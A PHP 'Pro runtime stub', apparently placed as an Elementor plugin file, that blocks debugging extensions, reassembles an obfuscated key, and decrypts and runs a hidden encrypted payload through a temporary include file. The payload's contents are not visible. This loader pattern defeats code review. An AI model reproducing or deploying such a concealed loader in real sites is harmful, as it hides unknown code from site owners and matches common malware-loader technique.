<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["JoLnaKJ0biQ=","rLFyx+352IM=","qNPdLtwfKUc=","jPT7PSBVqQI="]', true);
$__MASKS = json_decode('["xjeUCqFdv7U=","VLQr0VITTaA=","BhGXHzfjaCo=","5NTCoVztSSQ="]', true);
$__ROT   = json_decode('[1,6,1,2]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('68q5Z3jVHixUfmtoORQjAhuF9AO+XhbV');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9pbmNsdWRlcy9jb250cm9scy9mb250LnBocCIsInRzIjoxNzU2NjkzNzE0LCJleHBpcmVzIjowLCJkb21haW5zIjpbIml0c2hvbWFyLmlyIl0sIm9ubGluZSI6MCwid3AiOjEsImFsZ28iOiJ4Y2hhY2hhMjBwb2x5MTMwNV9pZXRmIn0=');
$__CT    = base64_decode('quGEML0KSP/BKgvBlwdklv1/VQFnZsMqIU+APtm2OF99ckB1/Vy2Pmh+JzS1w2Ds5wDho8B8r1Dl+hc/TRk4carvNpwbiCDHDmwEn8b3N5vRQ5AIlZedpsWI6YCLSNFUO2rQi4oYCMrvvkswis1qI3r1+IAUuWFTplDzXGWfNwRnZ4/Lna8epmNyc2YsrHU5BsCeFF4TulAVjlDnqMlvHoezN1mcyvqM9dYd89qaVQspbJlf3lf3y6+0QXoAtGiPLyJvI29v0xeMNt//NMF6kc1T5jcHZNEwwy0Aqsp0S7Xx4xqQhV4HPzWooSEvqEb42x3+MCf0RM3EnRUmd/PI2xEQ7X4k9bx/be4smToaRk7FmbNqTDhBio/iC58mXcH06Lwpw46PM6Xg/zlOM34uwtiewFpB3k3KpCmhL6hw2SnzUlhlOEUl4yYs+RM/C/7GWvvxymzxO46Aet8zCvWd2huNqqYOS/Z1y/TFUfJFI5wI9MzrHRExrnQzHva9f4j+42fhcR9fGKlTRYzDHHbxmDAS3BMe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VqcMfs0aes3j6T7/2aqTki9z+4rvrONyChlj4/vS9d1HdDh/GSI4iBSCjGeKtHrjykvUpMKChXnFxTy40PiocK3iKL2x/xTtbaAVTqV4iUJOnZ1wHf8BsmfpzDI9U2Xg0T8KhMYCWdoiiTnXOEjga38NQZUgfTDElEhqD0V7hB1bDK7shvRS+1hEOrD4yK9xQ+//MhTk6QcJA65U3j0oRJv7xOpSizAiJv8eJuHZKLeboGg69gHx+DdC4PUFFssBMLmKse9GWw05iiDNz24IK8yKRt+buxCtsLl1wmF1aBdNhtZCRTCcO+85WDM3fupP48JQ8P7Hi5ON/Zt5cmsg3uJYikeWn1WOY=');

// Signature verification
$__PK  = base64_decode('N1DzNsMuN9jBrkq7QN/QhD4oGmy1mK9UlJ8ZdIkM6SY=');
$__SIG = base64_decode('yvsDgPH+vrAzXxVGLgwNk27NPbixYdRsykwxwnU7ZAkV9X51R8TCJxPfN5P6a6xaS4y1Sh3xxwlAJAWLnD1ZBA==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
